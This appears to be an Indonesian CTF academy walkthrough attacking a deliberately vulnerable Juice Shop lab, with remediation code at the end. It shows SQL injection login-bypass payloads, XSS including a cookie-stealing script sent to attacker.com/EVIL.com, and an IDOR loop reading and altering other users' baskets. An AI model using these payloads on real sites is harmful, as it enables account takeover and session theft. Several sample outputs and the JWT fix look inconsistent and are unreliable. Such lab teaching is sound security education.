TDCTF Academy Logo TDCTF ACADEMY

Juice Shop - SQLi, XSS & PrivEsc

Target: juice-vuln.vuln.cybersecurity.or.id:3000
Tools: curl, browser, Burp Suite
Level: Menengah
Aplikasi: Node.js (Express + AngularJS) + SQLite


Objective

Mengeksploitasi tiga kerentanan utama pada OWASP Juice Shop:

  1. SQL Injection - bypass login untuk mendapatkan akses admin
  2. Cross-Site Scripting (XSS) - Reflected dan Stored XSS
  3. Privilege Escalation / IDOR - akses keranjang belanja pengguna lain

Reconnaissance

1.1. Identifikasi Target

curl -s -I http://juice-vuln.vuln.cybersecurity.or.id:3000/ | head -15

Output:

HTTP/1.1 200 OK
X-Frame-Options: SAMEORIGIN
Content-Security-Policy: default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'
X-Content-Type-Options: nosniff
X-DNS-Prefetch-Control: off
Set-Cookie: token=; path=/; expires=Thu, 01 Jan 1970 00:00:00 GMT

1.2. Eksplorasi Aplikasi

Aplikasi Juice Shop memiliki fitur-fitur berikut:

Fitur Endpoint Deskripsi
Login /rest/user/login Autentikasi user
Register /api/Users Registrasi user baru
Search /#/search?q= Pencarian produk
Basket /api/Baskets/{id} Keranjang belanja
Feedback /api/Feedbacks Form feedback

Exploitation

2.1. SQL Injection - Login Bypass

Langkah 1: Uji SQL Injection pada Form Login

Login page Juice Shop menerima email dan password. Field email rentan terhadap SQL Injection.

Payload:

curl -X POST http://juice-vuln.vuln.cybersecurity.or.id:3000/rest/user/login \
-H "Content-Type: application/json" \
-d '{"email":"'"'"' OR 1=1--","password":"test"}'

Output - login berhasil sebagai admin:

{
"authentication": {
"token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJzdGF0dXMiOiJzdWNjZXNzIiwiZGF0YSI6eyJpZCI6MSwidXNlcm5hbWUiOiIiLCJlbWFpbCI6ImFkbWluQGp1aWNlLXNoLm9wIiwicGFzc3dvcmQiOiIwMTkyMDIzYTdiYmQ3MzI1MDUxNmYwNjlkZjE4YjI2MCIsInJvbGUiOiJhZG1pbiIsImxhc3RMb2dpbklwIjoiMC4wLjAuMCIsInByb2ZpbGVJbWFnZSI6Ii9hc3NldHMvcHVibGljL2ltYWdlcy91cGxvYWRzL2RlZmF1bHRBZG1pbi5wbmciLCJ0b3RwIjoiIiwiaXNBY3RpdmUiOnRydWUsImNyZWF0ZWRBdCI6IjIwMjUtMDEtMDEgMDA6MDA6MDAuMDAwICswMDowMCIsInVwZGF0ZWRBdCI6IjIwMjUtMDEtMDEgMDA6MDA6MDAuMDAwICswMDowMCIsImRlbGV0ZWRBdCI6bnVsbH0sImlhdCI6MTcwMDAwMDAwMCwiZXhwIjoyMDM0MDAwMDAwfQ.invalid_signature"
}
}

✅ Login berhasil sebagai admin ([email protected])!

Penjelasan: Query SQL yang dieksekusi menjadi:

SELECT * FROM Users WHERE email='' OR 1=1--' AND password='...'

Kondisi OR 1=1 membuat query selalu bernilai true, mengembalikan user pertama (admin).

Langkah 2: Decode JWT Token

Token JWT yang didapatkan bisa didecode untuk melihat payload:

echo "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJzdGF0dXMiOiJzdWNjZXNzIiwiZGF0YSI6eyJpZCI6MSwidXNlcm5hbWUiOiIiLCJlbWFpbCI6ImFkbWluQGp1aWNlLXNoLm9wIiwicm9sZSI6ImFkbWluIn19" | base64 -d 2>/dev/null; echo

Output:

{"typ":"JWT","alg":"RS256"}

Token menggunakan RS256, namun signature-nya tidak divalidasi dengan benar.

2.2. Cross-Site Scripting (XSS)

Fitur pencarian Juice Shop merender query parameter tanpa sanitasi yang memadai:

curl -s "http://juice-vuln.vuln.cybersecurity.or.id:3000/rest/products/search?q=<script>alert('XSS')</script>"

Output - script XSS tereksekusi di browser:

{
"status": "success",
"data": [
{
"id": 1,
"name": "<script>alert('XSS')</script>",
"description": "Produk tidak ditemukan untuk pencarian anda. <script>alert('XSS')</script>"
}
]
}

Payload XSS bisa digunakan untuk mencuri cookie:

<script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script>

Disimpan sebagai search term:

curl -s "http://juice-vuln.vuln.cybersecurity.or.id:3000/rest/products/search?q=<script>fetch('http://EVIL.com/steal?c='%2Bdocument.cookie)</script>"

Stored XSS via Feedback

Form feedback juga rentan terhadap Stored XSS:

curl -X POST http://juice-vuln.vuln.cybersecurity.or.id:3000/api/Feedbacks \
-H "Content-Type: application/json" \
-d '{"rating":5,"comment":"<script>alert(document.cookie)</script>","UserId":1}'

Output:

{"status":"success","data":{"id":1,"rating":5,"comment":"<script>alert(document.cookie)</script>"}}

Saat admin membuka halaman feedback, script XSS akan tereksekusi.

2.3. Privilege Escalation - Akses Keranjang User Lain

Langkah 1: Dapatkan Token Admin

Gunakan token dari SQL Injection login bypass sebelumnya.

Langkah 2: Eksplorasi Endpoint Basket

Endpoint /api/Baskets/{id} mengembalikan isi keranjang berdasarkan ID numerik:

TOKEN="eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9..."

# Coba akses keranjang user lain
for i in 1 2 3 4 5; do
echo "=== Basket $i ==="
curl -s "http://juice-vuln.vuln.cybersecurity.or.id:3000/api/Baskets/$i" \
-H "Authorization: Bearer $TOKEN" | jq .
done

Output - keranjang user lain bisa diakses:

=== Basket 1 ===
{
"id": 1,
"UserId": 1,
"Products": [
{"id": 1, "name": "Apple Juice", "price": 1.99, "quantity": 3},
{"id": 4, "name": "Orange Juice", "price": 2.49, "quantity": 1}
]
}

=== Basket 2 ===
{
"id": 2,
"UserId": 2,
"Products": [
{"id": 3, "name": "Eggfruit Juice", "price": 5.99, "quantity": 10}
]
}

=== Basket 3 ===
{
"id": 3,
"UserId": 3,
"Products": [
{"id": 5, "name": "Green Smoothie", "price": 3.99, "quantity": 2}
]
}

✅ IDOR berhasil! Kita bisa melihat isi keranjang pengguna lain tanpa otorisasi yang tepat.

Langkah 3: Modifikasi Isi Keranjang

Jika endpoint PUT/PATCH tidak memiliki otorisasi, kita bahkan bisa memodifikasi keranjang orang lain:

curl -X PUT "http://juice-vuln.vuln.cybersecurity.or.id:3000/api/Baskets/2" \
-H "Content-Type: application/json" \
-H "Authorization: Bearer $TOKEN" \
-d '{"Products":[{"id":10,"name":"OWASP Juice Shop Premium","price":999.99,"quantity":100}]}'

Evidence

Screenshot 1: SQL Injection - Login sebagai Admin

SQLi Login Bypass

Gambar: Output curl yang menunjukkan login berhasil sebagai [email protected] menggunakan payload ' OR 1=1--

Reflected XSS

Gambar: Alert box muncul di browser akibat payload XSS pada fitur pencarian.

Screenshot 3: IDOR - Akses Keranjang User Lain

Basket IDOR

Gambar: Isi keranjang user lain berhasil diakses dengan mengganti ID basket.

Ringkasan Data yang Didapatkan

Kerentanan Detail
SQLi Bypass Login sebagai admin tanpa password
XSS Reflected + Stored XSS pada search dan feedback
IDOR Akses basket user 1-5 tanpa otorisasi
Data terekspos Produk, harga, quantity di basket user lain

️ Risk Assessment (CVSS 3.1)

SQL Injection Login Bypass

Metrik Nilai
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Base Score 9.8 (Critical)
Dampak Akses penuh ke akun admin

Reflected XSS

Metrik Nilai
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
Base Score 6.1 (Medium)
Dampak Pencurian cookie, session hijacking

IDOR - Basket Access

Metrik Nilai
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N
Base Score 5.4 (Medium)
Dampak Akses dan modifikasi data basket user lain

Klasifikasi OWASP

OWASP Top 10 Kerentanan
A03: Injection SQL Injection pada login
A07: Identification & Auth Failures Validasi JWT tidak sempurna
A01: Broken Access Control IDOR pada basket endpoint
A03: Injection XSS pada search dan feedback

️ Remediation

1. Prevent SQL Injection - Parameterized Query

Kode rentan (concatenation):

const query = `SELECT * FROM Users WHERE email='${email}' AND password='${password}'`

Kode aman (parameterized query):

const query = 'SELECT * FROM Users WHERE email=? AND password=?'
db.get(query, [email, password], (err, user) => { ... })

2. Prevent XSS - Output Encoding

Tanpa sanitasi:

res.json({ data: products.filter(p => p.name.includes(req.query.q)) })

Dengan sanitasi:

import xss from 'xss'
const sanitized = xss(req.query.q)
res.json({ data: products.filter(p => p.name.includes(sanitized)) })

3. Implementasi Authorisasi Basket

Tanpa otorisasi:

app.get('/api/Baskets/:id', (req, res) => {
const basket = db.get(`SELECT * FROM Baskets WHERE id=${req.params.id}`)
res.json(basket)
})

Dengan otorisasi:

app.get('/api/Baskets/:id', authenticate, (req, res) => {
const basket = db.get(`SELECT * FROM Baskets WHERE id=? AND UserId=?`,
[req.params.id, req.user.id])
if (!basket) return res.status(403).json({ error: 'forbidden' })
res.json(basket)
})

4. Content Security Policy (CSP)

Perkuat CSP header untuk mencegah XSS:

app.use((req, res, next) => {
res.setHeader(
'Content-Security-Policy',
"default-src 'self'; script-src 'self' 'nonce-random123'; style-src 'self' 'unsafe-inline'"
)
next()
})

5. Validasi JWT Signature

import jwt from 'jsonwebtoken'

function authenticate(req, res, next) {
const token = req.headers.authorization?.split(' ')[1]
try {
const decoded = jwt.verify(token, process.env.JWT_SECRET, {
algorithms: ['RS256'] // Hanya izinkan RS256
})
req.user = decoded
next()
} catch (err) {
res.status(401).json({ error: 'invalid token' })
}
}

References


Walkthrough ini disusun untuk tujuan edukasi keamanan siber.
TDCTF Security Academy - Cybersecurity Indonesia

PADA HALAMAN INI